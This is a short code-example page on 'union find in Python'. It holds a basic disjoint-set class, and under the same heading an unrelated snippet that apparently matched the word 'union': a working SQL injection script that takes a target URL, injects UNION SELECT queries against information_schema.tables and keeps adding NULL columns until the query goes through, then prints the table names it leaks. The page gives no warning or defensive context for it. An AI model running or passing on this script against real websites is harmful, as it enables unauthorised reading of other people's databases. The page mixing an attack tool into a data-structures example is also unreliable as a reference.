union find in python code example
Example 1: python union find
class DisjointSet:
def __init__(self, n):
self.data = list(range(n))
self.size = n
def find(self, index):
return self.data[index]
def union(self, x, y):
x, y = self.find(x), self.find(y)
if x == y:
return
for i in range(self.size):
if self.find(i) == y:
self.data[i] = x
@property
def length(self):
return len(set(self.data))
disjoint = DisjointSet(10)
disjoint.union(0, 1)
disjoint.union(1, 2)
disjoint.union(2, 3)
disjoint.union(4, 5)
disjoint.union(5, 6)
disjoint.union(6, 7)
disjoint.union(8, 9)
print(disjoint.data)
print(disjoint.length)
Example 2: python union query
import requests
def main():
url = input('Target: ')
idx = 0
while True:
nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
if idx > 0:
nulls = ', ' + nulls
req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
print(f'''\n
{req}
''')
r = requests.get(f'{url}?{req}')
if 'The used SELECT statements have a different number of columns' not in str(r.content):
print(f'''\n
{r.text}
''')
break
idx = idx + 1
if __name__ == '__main__':
main()